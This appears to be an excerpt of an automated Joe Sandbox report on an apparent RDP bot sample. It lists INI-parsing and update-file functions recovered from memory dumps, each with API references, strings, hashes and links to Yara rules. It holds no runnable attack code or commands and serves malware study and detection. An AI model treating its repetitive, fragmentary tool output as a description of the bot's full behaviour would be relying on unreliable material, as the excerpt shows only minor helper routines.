Opcode ID: e13d46a93c286f878066485ecde981a33247f1e20d45bf4f8e92133a70466138
Instruction ID: 9ee56d4b920e45d51ea306688e0daa03184a4d19419da0d2fd2daa19e61d8e90
Opcode Fuzzy Hash: e13d46a93c286f878066485ecde981a33247f1e20d45bf4f8e92133a70466138
Instruction Fuzzy Hash: 0F21A0A1A08AC285E6128F25FC407AE3366BB56788F4C4272EE4D17768CF3DE945C700

Function 00007FFB23B08774 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FFB23B08810
_strtoui64.MSVCRT ref: 00007FFB23B08826
_errno.MSVCRT ref: 00007FFB23B08830
_errno.MSVCRT ref: 00007FFB23B0883C

Strings

ini_get_uint64, xrefs: 00007FFB23B087EF, 00007FFB23B0885C
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FFB23B087E1
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB23B087F6
[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FFB23B08863
(value != NULL), xrefs: 00007FFB23B087E8

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: _errno$_strtoui64
String ID: (value != NULL)$C:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint64
API String ID: 3513630032-2210897324
Opcode ID: 8dc6ef3c3b39a945c0bcc25fab0e5f362bdcd5fceaf0a0628a5bcb49c999219e
Instruction ID: 7cc0ed81775a87bd8bf5feb89fdf2e9cae9bfcb9bde9f6bd0a2f329b227f0bd4
Opcode Fuzzy Hash: 8dc6ef3c3b39a945c0bcc25fab0e5f362bdcd5fceaf0a0628a5bcb49c999219e
Instruction Fuzzy Hash: D121B1A9608A8795E6528F25FC847AE3360FB84784F484072EECD57B64DF3CE945C700

Function 00007FFB227051C4 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FFB22705260
_strtoui64.MSVCRT ref: 00007FFB22705276
_errno.MSVCRT ref: 00007FFB22705280
_errno.MSVCRT ref: 00007FFB2270528C

Strings

ini_get_uint64, xrefs: 00007FFB2270523F, 00007FFB227052AC
(value != NULL), xrefs: 00007FFB22705238
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FFB22705231
[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FFB227052B3
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB22705246

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: _errno$_strtoui64
String ID: (value != NULL)$C:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint64
API String ID: 3513630032-2210897324
Opcode ID: 9e9fbaff18e4b396b03782fd795c7ec30d8bc7ac6403233c61c7621373ecb548
Instruction ID: 3150207f06597a5956c7d2572b9f94646643f28426865bb48cba3ab63b7e55a6
Opcode Fuzzy Hash: 9e9fbaff18e4b396b03782fd795c7ec30d8bc7ac6403233c61c7621373ecb548
Instruction Fuzzy Hash: 412168A2A0CA8695F6569F25FC407AA3360BF46784F444132EE4C87764CFBCDE89C700

Function 00007FFB23AD2324 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FFB23AD23C0
_strtoui64.MSVCRT ref: 00007FFB23AD23D6
_errno.MSVCRT ref: 00007FFB23AD23E0
_errno.MSVCRT ref: 00007FFB23AD23EC

Strings

C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FFB23AD2391
ini_get_uint64, xrefs: 00007FFB23AD239F, 00007FFB23AD240C
(value != NULL), xrefs: 00007FFB23AD2398
[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FFB23AD2413
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB23AD23A6

Memory Dump Source

Source File: 0000001D.00000002.2209018844.00007FFB23AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFB23AD0000, based on PE: true

Associated: 0000001D.00000002.2208997687.00007FFB23AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209048151.00007FFB23AE2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209071254.00007FFB23AEB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209098898.00007FFB23AEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209118852.00007FFB23AEF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209139881.00007FFB23AF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ad0000_main.jbxd

Similarity

API ID: _errno$_strtoui64
String ID: (value != NULL)$C:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint64
API String ID: 3513630032-2210897324
Opcode ID: 906b3befdbbb04dcb081f3fc279d4ed90d08040fd0ea7b8ae214153b734c3134
Instruction ID: eeb607ee3109cb5fdbabfbfb173bf5248128c794575f1ed9e1e93a8253a954b6
Opcode Fuzzy Hash: 906b3befdbbb04dcb081f3fc279d4ed90d08040fd0ea7b8ae214153b734c3134
Instruction Fuzzy Hash: 10217CA2618ACB96E7529F25EC407AE3364BB46B88F484072EE4C57A64DF3CD946C700

Function 00007FFB2273D300 Relevance: 15.1, APIs: 1, Strings: 9, Instructions: 97stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FFB2273D3EC

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB2273D350, 00007FFB2273D383, 00007FFB2273D3B6
(var != NULL), xrefs: 00007FFB2273D3A8
NULL, xrefs: 00007FFB2273D47E, 00007FFB2273D487
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FFB2273D33B, 00007FFB2273D36E, 00007FFB2273D3A1
[D] (%s) -> Done(sec=%s,name=%s,value=%s), xrefs: 00007FFB2273D41D
ini_get_var, xrefs: 00007FFB2273D349, 00007FFB2273D37C, 00007FFB2273D3AF, 00007FFB2273D416, 00007FFB2273D45E
(name != NULL), xrefs: 00007FFB2273D375
[W] (%s) -> Failed(sec=%s,name=%s,err=%08x), xrefs: 00007FFB2273D465
(sec != NULL), xrefs: 00007FFB2273D342

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: strcmp
String ID: (name != NULL)$(sec != NULL)$(var != NULL)$C:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(sec=%s,name=%s,value=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(sec=%s,name=%s,err=%08x)$ini_get_var
API String ID: 1004003707-3780280517
Opcode ID: 78db09826294c9814c6a24a45369037db7cb34c45d54d20db4ea96e6f6016017
Instruction ID: 619cfd2182145470c652f5b900436514b4ce63a80a1b40c4996e2d34b7c2119a
Opcode Fuzzy Hash: 78db09826294c9814c6a24a45369037db7cb34c45d54d20db4ea96e6f6016017
Instruction Fuzzy Hash: 2E4104F1B0C68792FA168B64ED403F97260AB02798F84413AFA5D865B4DFFCAE45C311

Function 00007FFB23AB1860 Relevance: 15.1, APIs: 1, Strings: 9, Instructions: 97stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FFB23AB194C

Strings

NULL, xrefs: 00007FFB23AB19DE, 00007FFB23AB19E7
[D] (%s) -> Done(sec=%s,name=%s,value=%s), xrefs: 00007FFB23AB197D
ini_get_var, xrefs: 00007FFB23AB18A9, 00007FFB23AB18DC, 00007FFB23AB190F, 00007FFB23AB1976, 00007FFB23AB19BE
(sec != NULL), xrefs: 00007FFB23AB18A2
(var != NULL), xrefs: 00007FFB23AB1908
(name != NULL), xrefs: 00007FFB23AB18D5
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FFB23AB189B, 00007FFB23AB18CE, 00007FFB23AB1901
[W] (%s) -> Failed(sec=%s,name=%s,err=%08x), xrefs: 00007FFB23AB19C5
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB23AB18B0, 00007FFB23AB18E3, 00007FFB23AB1916

Memory Dump Source

Source File: 0000001D.00000002.2208866783.00007FFB23AB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFB23AB0000, based on PE: true

Associated: 0000001D.00000002.2208840934.00007FFB23AB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208893229.00007FFB23AC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208920156.00007FFB23AC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208953322.00007FFB23ACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208975635.00007FFB23ACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ab0000_main.jbxd

Similarity

API ID: strcmp
String ID: (name != NULL)$(sec != NULL)$(var != NULL)$C:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(sec=%s,name=%s,value=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(sec=%s,name=%s,err=%08x)$ini_get_var
API String ID: 1004003707-3780280517
Opcode ID: 4b024a6b28ce2b07e7a2910d768eb0d7eedf76f45639da4cab46353fdb6778d0
Instruction ID: d11845a2c2922702f94e2ab57abae62b704c9d016acf5a3bff74da2074d95b5b
Opcode Fuzzy Hash: 4b024a6b28ce2b07e7a2910d768eb0d7eedf76f45639da4cab46353fdb6778d0
Instruction Fuzzy Hash: 644122E1A086C795FA56CB71EC413FC6351BB26348F4C45B2D94E261A9DF7CE64AC300

Function 00007FFB23B08250 Relevance: 15.1, APIs: 1, Strings: 9, Instructions: 97stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FFB23B0833C

Strings

C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FFB23B0828B, 00007FFB23B082BE, 00007FFB23B082F1
(var != NULL), xrefs: 00007FFB23B082F8
(sec != NULL), xrefs: 00007FFB23B08292
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB23B082A0, 00007FFB23B082D3, 00007FFB23B08306
ini_get_var, xrefs: 00007FFB23B08299, 00007FFB23B082CC, 00007FFB23B082FF, 00007FFB23B08366, 00007FFB23B083AE
NULL, xrefs: 00007FFB23B083CE, 00007FFB23B083D7
(name != NULL), xrefs: 00007FFB23B082C5
[W] (%s) -> Failed(sec=%s,name=%s,err=%08x), xrefs: 00007FFB23B083B5
[D] (%s) -> Done(sec=%s,name=%s,value=%s), xrefs: 00007FFB23B0836D

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: strcmp
String ID: (name != NULL)$(sec != NULL)$(var != NULL)$C:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(sec=%s,name=%s,value=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(sec=%s,name=%s,err=%08x)$ini_get_var
API String ID: 1004003707-3780280517
Opcode ID: cd5d41a576a556bf55237428aebfa2e7841c9249cb31dc30db104d33d1e7f57a
Instruction ID: db6438c89e488961b8d872357730d80bcbd55c2715b7cd94eab91dae0d1ab10a
Opcode Fuzzy Hash: cd5d41a576a556bf55237428aebfa2e7841c9249cb31dc30db104d33d1e7f57a
Instruction Fuzzy Hash: 9941EAE9A08687A1FA128F71ED993BD6360BB84348F5C41B2E9CD67995DF3CA745C300

Function 00007FFB22704CA0 Relevance: 15.1, APIs: 1, Strings: 9, Instructions: 97stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FFB22704D8C

Strings

(sec != NULL), xrefs: 00007FFB22704CE2
[W] (%s) -> Failed(sec=%s,name=%s,err=%08x), xrefs: 00007FFB22704E05
NULL, xrefs: 00007FFB22704E1E, 00007FFB22704E27
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FFB22704CDB, 00007FFB22704D0E, 00007FFB22704D41
[D] (%s) -> Done(sec=%s,name=%s,value=%s), xrefs: 00007FFB22704DBD
ini_get_var, xrefs: 00007FFB22704CE9, 00007FFB22704D1C, 00007FFB22704D4F, 00007FFB22704DB6, 00007FFB22704DFE
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB22704CF0, 00007FFB22704D23, 00007FFB22704D56
(var != NULL), xrefs: 00007FFB22704D48
(name != NULL), xrefs: 00007FFB22704D15

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: strcmp
String ID: (name != NULL)$(sec != NULL)$(var != NULL)$C:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(sec=%s,name=%s,value=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(sec=%s,name=%s,err=%08x)$ini_get_var
API String ID: 1004003707-3780280517
Opcode ID: f44f3081b609482c8846eb34527f975e3e84389fcc4a7eae18bd3de5c96a3720
Instruction ID: 4cc74ac77255458ac259a9533ff51c7b00c99c41f3a9f0df7f94186064e718ee
Opcode Fuzzy Hash: f44f3081b609482c8846eb34527f975e3e84389fcc4a7eae18bd3de5c96a3720
Instruction Fuzzy Hash: AC41FAE1A0CAC7A5FA1A8F22EC617F46250AF46348F444136DA4D9A1B5DFFCEE59C300

Function 00007FFB2273D179 Relevance: 15.1, APIs: 1, Strings: 9, Instructions: 90stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FFB2273D26D

Strings

ini_get_sec, xrefs: 00007FFB2273D1C2, 00007FFB2273D1F5, 00007FFB2273D228, 00007FFB2273D286, 00007FFB2273D2C4
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB2273D1C9, 00007FFB2273D1FC, 00007FFB2273D22F
[W] (%s) -> Failed(name=%s,err=%08x), xrefs: 00007FFB2273D2CB
(ini != NULL), xrefs: 00007FFB2273D1BB
NULL, xrefs: 00007FFB2273D2E4
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FFB2273D1B4, 00007FFB2273D1E7, 00007FFB2273D21A
[D] (%s) -> Done(name=%s), xrefs: 00007FFB2273D28D
(name != NULL), xrefs: 00007FFB2273D1EE
(sec != NULL), xrefs: 00007FFB2273D221

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: strcmp
String ID: (ini != NULL)$(name != NULL)$(sec != NULL)$C:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(name=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(name=%s,err=%08x)$ini_get_sec
API String ID: 1004003707-386092548
Opcode ID: 16580016db8d5c9468e6d258d707635842a6bd0b4b298b75ae06a018e2b19fe7
Instruction ID: 486a832914d55db9acb9aedbaa6ab8337011acbcb5dba3a3fbb4560c8a0263ef
Opcode Fuzzy Hash: 16580016db8d5c9468e6d258d707635842a6bd0b4b298b75ae06a018e2b19fe7
Instruction Fuzzy Hash: 974107F1A0C6C791FE129B60EC503B52260BB06358F44413AFA5D961B5DFBCEE45D316

Function 00007FFB23AB16D9 Relevance: 15.1, APIs: 1, Strings: 9, Instructions: 90stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FFB23AB17CD

Strings

NULL, xrefs: 00007FFB23AB1844
[D] (%s) -> Done(name=%s), xrefs: 00007FFB23AB17ED
(sec != NULL), xrefs: 00007FFB23AB1781
ini_get_sec, xrefs: 00007FFB23AB1722, 00007FFB23AB1755, 00007FFB23AB1788, 00007FFB23AB17E6, 00007FFB23AB1824
(name != NULL), xrefs: 00007FFB23AB174E
[W] (%s) -> Failed(name=%s,err=%08x), xrefs: 00007FFB23AB182B
(ini != NULL), xrefs: 00007FFB23AB171B
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FFB23AB1714, 00007FFB23AB1747, 00007FFB23AB177A
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB23AB1729, 00007FFB23AB175C, 00007FFB23AB178F

Memory Dump Source

Source File: 0000001D.00000002.2208866783.00007FFB23AB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFB23AB0000, based on PE: true

Associated: 0000001D.00000002.2208840934.00007FFB23AB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208893229.00007FFB23AC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208920156.00007FFB23AC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208953322.00007FFB23ACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208975635.00007FFB23ACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ab0000_main.jbxd

Similarity

API ID: strcmp
String ID: (ini != NULL)$(name != NULL)$(sec != NULL)$C:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(name=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(name=%s,err=%08x)$ini_get_sec
API String ID: 1004003707-386092548
Opcode ID: cc754a487619ba4d3fe55a8fff3b75e044976832e5e2ad57f523f8373a74ed8a
Instruction ID: 313147f4fc6bd409fe9a8eb7f720878f98023c15b10b5dda290e2a6e08ffdc1a
Opcode Fuzzy Hash: cc754a487619ba4d3fe55a8fff3b75e044976832e5e2ad57f523f8373a74ed8a
Instruction Fuzzy Hash: FE412FE1E085C795FA528B70ED457BC6251BB23388F4C45B6D94D265A9DF3CEA8AC300

Function 00007FFB23B080C9 Relevance: 15.1, APIs: 1, Strings: 9, Instructions: 90stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FFB23B081BD

Strings

[D] (%s) -> Done(name=%s), xrefs: 00007FFB23B081DD
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FFB23B08104, 00007FFB23B08137, 00007FFB23B0816A
(sec != NULL), xrefs: 00007FFB23B08171
ini_get_sec, xrefs: 00007FFB23B08112, 00007FFB23B08145, 00007FFB23B08178, 00007FFB23B081D6, 00007FFB23B08214
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB23B08119, 00007FFB23B0814C, 00007FFB23B0817F
NULL, xrefs: 00007FFB23B08234
(name != NULL), xrefs: 00007FFB23B0813E
[W] (%s) -> Failed(name=%s,err=%08x), xrefs: 00007FFB23B0821B
(ini != NULL), xrefs: 00007FFB23B0810B

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: strcmp
String ID: (ini != NULL)$(name != NULL)$(sec != NULL)$C:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(name=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(name=%s,err=%08x)$ini_get_sec
API String ID: 1004003707-386092548
Opcode ID: 179c6dbfefd9be0f64e52d6e20510921a698a95ec800b8d1d30f6f819b4df21c
Instruction ID: bdc6deac850ddfadbea4bf70543a41f51b3d5431c4fba240119d92920722c3fe
Opcode Fuzzy Hash: 179c6dbfefd9be0f64e52d6e20510921a698a95ec800b8d1d30f6f819b4df21c
Instruction Fuzzy Hash: A641FBE9A086C795FA128F61ED997BD6350BF44388F4C40B2DACD67991DF3CAA46C340

Function 00007FFB22704B19 Relevance: 15.1, APIs: 1, Strings: 9, Instructions: 90stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FFB22704C0D

Strings

(sec != NULL), xrefs: 00007FFB22704BC1
[W] (%s) -> Failed(name=%s,err=%08x), xrefs: 00007FFB22704C6B
NULL, xrefs: 00007FFB22704C84
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FFB22704B54, 00007FFB22704B87, 00007FFB22704BBA
[D] (%s) -> Done(name=%s), xrefs: 00007FFB22704C2D
(ini != NULL), xrefs: 00007FFB22704B5B
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB22704B69, 00007FFB22704B9C, 00007FFB22704BCF
ini_get_sec, xrefs: 00007FFB22704B62, 00007FFB22704B95, 00007FFB22704BC8, 00007FFB22704C26, 00007FFB22704C64
(name != NULL), xrefs: 00007FFB22704B8E

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: strcmp
String ID: (ini != NULL)$(name != NULL)$(sec != NULL)$C:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(name=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(name=%s,err=%08x)$ini_get_sec
API String ID: 1004003707-386092548
Opcode ID: 2c776807885660e5bf57067b27f289dba756127a5d7c83c1ed0ce61f4d157fce
Instruction ID: 711549de5006bce6ad7451c9ab945c8be16e8e3f2ff2939c93032d01bb8beabb
Opcode Fuzzy Hash: 2c776807885660e5bf57067b27f289dba756127a5d7c83c1ed0ce61f4d157fce
Instruction Fuzzy Hash: 384125E1A0D6C7A1FA1A8F31EC907B52260AF52348F484036DA5D8A1B1DEECEE4DC300

Function 00007FF7AABD13CD Relevance: 15.1, APIs: 5, Strings: 5, Instructions: 76stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF7AABD13D8
strlen.MSVCRT ref: 00007FF7AABD13F4
strlen.MSVCRT ref: 00007FF7AABD1400
strlen.MSVCRT ref: 00007FF7AABD148A
strlen.MSVCRT ref: 00007FF7AABD14B7

Strings

tch.pkg, xrefs: 00007FF7AABD1457
pkg, xrefs: 00007FF7AABD1416
update.p, xrefs: 00007FF7AABD1409
????-pat, xrefs: 00007FF7AABD144A
.applied, xrefs: 00007FF7AABD1492

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

